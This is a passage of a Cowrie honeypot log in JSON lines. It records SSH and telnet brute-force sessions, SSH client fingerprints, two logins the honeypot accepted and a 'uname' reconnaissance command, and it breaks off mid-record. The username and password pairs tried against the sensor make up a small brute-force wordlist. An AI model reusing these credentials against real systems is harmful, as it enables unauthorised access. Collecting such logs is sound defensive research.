{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:39.542084Z","src_ip":"176.65.132.129","session":"e5b5dca6fca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.46.116.252","src_port":60658,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee7f1130f840","protocol":"telnet","message":"New connection: 86.46.116.252:60658 (159.203.135.109:23) [session: ee7f1130f840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:39.569862Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:40.626790Z","src_ip":"176.65.132.129","session":"e5b5dca6fca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":51742,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f7966aad69","protocol":"telnet","message":"New connection: 192.211.53.160:51742 (159.203.135.109:23) [session: 88f7966aad69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:42.220721Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59746,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0c5ebe4c377","protocol":"ssh","message":"New connection: 176.65.132.129:59746 (10.17.0.5:22) [session: b0c5ebe4c377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:42.627518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:42.632982Z","src_ip":"176.65.132.129","session":"b0c5ebe4c377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:42.736455Z","src_ip":"176.65.132.129","session":"b0c5ebe4c377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:42.983264Z","src_ip":"176.65.132.129","session":"b0c5ebe4c377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:44.069455Z","src_ip":"176.65.132.129","session":"b0c5ebe4c377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47132,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ba44f5680f","protocol":"ssh","message":"New connection: 176.65.132.129:47132 (10.17.0.5:22) [session: a9ba44f5680f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.019107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.024010Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.105559Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.351105Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.553360Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.556455Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.813185Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:46.817953Z","src_ip":"176.65.132.129","session":"a9ba44f5680f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.35396409034729,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:47.977593Z","src_ip":"64.227.82.147","session":"204eac678223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50004,"dst_ip":"159.203.135.109","dst_port":23,"session":"50fc499a82a6","protocol":"telnet","message":"New connection: 38.60.198.128:50004 (159.203.135.109:23) [session: 50fc499a82a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:48.316329Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47148,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3d0e84d161","protocol":"ssh","message":"New connection: 176.65.132.129:47148 (10.17.0.5:22) [session: 9c3d0e84d161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:49.561788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:49.566356Z","src_ip":"176.65.132.129","session":"9c3d0e84d161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:49.649274Z","src_ip":"176.65.132.129","session":"9c3d0e84d161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:49.901354Z","src_ip":"176.65.132.129","session":"9c3d0e84d161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:51.051086Z","src_ip":"176.65.132.129","session":"9c3d0e84d161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54238,"dst_ip":"159.203.135.109","dst_port":23,"session":"c04be6ad2df1","protocol":"telnet","message":"New connection: 192.211.53.160:54238 (159.203.135.109:23) [session: c04be6ad2df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:51.098467Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47162,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5c49b400a2","protocol":"ssh","message":"New connection: 176.65.132.129:47162 (10.17.0.5:22) [session: 4b5c49b400a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:52.933508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:52.938470Z","src_ip":"176.65.132.129","session":"4b5c49b400a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:53.021624Z","src_ip":"176.65.132.129","session":"4b5c49b400a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54658,"dst_ip":"159.203.135.109","dst_port":23,"session":"02f4101f8a79","protocol":"telnet","message":"New connection: 192.211.53.160:54658 (159.203.135.109:23) [session: 02f4101f8a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:53.176374Z"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:53.271036Z","src_ip":"176.65.132.129","session":"4b5c49b400a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.08002853393555,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:53.582893Z","src_ip":"38.54.119.93","session":"28f1a2916f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:54.356439Z","src_ip":"176.65.132.129","session":"4b5c49b400a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.77646088600159,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:55.233103Z","src_ip":"38.60.198.128","session":"3d53562f8c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57826,"dst_ip":"10.17.0.5","dst_port":22,"session":"25acb6d70c8d","protocol":"ssh","message":"New connection: 176.65.132.129:57826 (10.17.0.5:22) [session: 25acb6d70c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:56.317017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:56.412218Z","src_ip":"176.65.132.129","session":"25acb6d70c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:56.415987Z","src_ip":"176.65.132.129","session":"25acb6d70c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:56.741969Z","src_ip":"176.65.132.129","session":"25acb6d70c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:57.826027Z","src_ip":"176.65.132.129","session":"25acb6d70c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26b06df4e94","protocol":"telnet","message":"New connection: 38.60.198.128:33182 (159.203.135.109:23) [session: d26b06df4e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:59.002551Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57836,"dst_ip":"10.17.0.5","dst_port":22,"session":"e33cb9e906c6","protocol":"ssh","message":"New connection: 176.65.132.129:57836 (10.17.0.5:22) [session: e33cb9e906c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:59.721044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:59.725253Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:59.808255Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:00.061874Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:00.271618Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:00.275027Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:00.362628Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:00.368584Z","src_ip":"176.65.132.129","session":"e33cb9e906c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57844,"dst_ip":"10.17.0.5","dst_port":22,"session":"3202bc75576d","protocol":"ssh","message":"New connection: 176.65.132.129:57844 (10.17.0.5:22) [session: 3202bc75576d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:02.953625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:02.956969Z","src_ip":"176.65.132.129","session":"3202bc75576d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","s